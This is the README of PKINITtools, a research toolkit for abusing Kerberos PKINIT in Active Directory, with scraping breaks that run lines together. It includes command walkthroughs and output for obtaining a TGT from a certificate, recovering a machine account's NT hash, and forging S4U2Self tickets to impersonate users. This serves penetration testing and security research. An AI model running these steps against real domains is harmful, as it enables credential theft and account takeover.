This repository contains some utilities for playing with PKINIT and certificates.
The tools are built on minikerberos and impacket. Accompanying blogpost with more context: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/
These tools are only compatible with Python 3.5+. Clone the repository from GitHub, install the dependencies and you should be good to go:
git clone https://github.com/dirkjanm/PKINITtoolspip3 install impacket minikerberos
Using a virtualenv for this is recommended.
Tools
gettgtpkinit.py
Request a TGT using a PFX file, either as file or as base64 encoded blob, or PEM files for cert+key. This uses Kerberos PKINIT and will output a TGT into the specified ccache. It will also print the AS-REP encryption key which you may need for the getnthash.py tool. Usage example:
(PKINITtools) [email protected]:~/PKINITtools$ python gettgtpkinit.py -husage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v] domain/username ccacheRequests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+keypositional arguments: domain/username Domain and username in the cert ccache ccache file to store the TGT inoptional arguments: -h, --help show this help message and exit -cert-pfx file PFX file -pfx-pass password PFX file password -pfx-base64 BASE64 PFX file as base64 string -cert-pem file Certificate in PEM format -key-pem file Private key file in PEM format -dc-ip DC_IP DC IP or hostname to use as KDC -v, --verbose(PKINITtools) [email protected]:~/PKINITtools$ python gettgtpkinit.p y testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later):2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e32021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file
getnthash.py
Use Kerberos U2U to submit a TGS request for yourself. This will include with the PAC which in turn contains the NT hash that you can decrypt with the AS-REP key that was used for your specific TGT. It's magic really. This tool requires a TGT resulting from PKINIT to be in your KRB5CCNAME
env variable. Usage:
(PKINITtools) [email protected]:~/PKINITtools$ python getnthash.py -hImpacket v0.9.23 - Copyright 2021 SecureAuth Corporationusage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identitypositional arguments: identity domain/usernameoptional arguments: -h, --help show this help message and exit -key KEY AS REP key from gettgtpkinit.py -dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter -debug Turn DEBUG output ON(PKINITtools) [email protected]:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache(PKINITtools) [email protected]:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation[*] Using TGT from cache[*] Requesting ticket to se lf with PACRecovered NT Hashfa6b130d73311d1be5495f589f9f4571
gets4uticket.py
Uses Kerberos S4U2Self to request a service ticket that is valid on the host for which you've obtained a certificate. This ticket can then be used to interact with the original host. This only requires a TGT for the machine account of this host. This TGT should be in a ccache file that you specify in the kerberos_connection_url
. The only accepted kerberos_connection_url
for this example is one containing a ccache file, so for example kerberos+ccache://domain.local\\victimhostname\$:[email protected]
. The SPN should be a service name on the host you are impersonating, you can't use this for delegation attacks (since it does not implement S4U2Proxy, there are plenty of tools already for that). Usage:
(PKINITtools) [email protected]:~/PKINITtools$ python gets4uticket.py -husage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccacheGets an S4U2self ticket impersonating given userpositional arguments: kerberos_connection_url the kerberos target string in the following format kerberos+ccache://domain\user:[email protected]<domaincontroller-ip> spn the service principal in format <service>/<server-hostname>@<domain> Example: cifs/[email protected] for a TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!! targetuser ccache ccache file to store the TGT ticket inoptional arguments: -h, --help show this help message and exit -v, --verbose(PKINITtools) [email protected]:~/PKINITtools$ python ge ts4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:[email protected] cifs/[email protected] [email protected] out.ccache -v2021-07-28 10:09:13,687 minikerberos INFO Trying to get SPN with [email protected] for cifs/[email protected]2021-07-28 10:09:13,695 minikerberos INFO Success!2021-07-28 10:09:13,696 minikerberos INFO Done!
License
MIT
Credits
- SkelSec for minikerberos
- Alberto Solino and the team at SecureAuthCorp for impacket
- Mor Rubin for their first PKINIT implementation in python as part of AzureADJoinedMachinePTC
- Benjamin Delpy for implementing these things in kekeo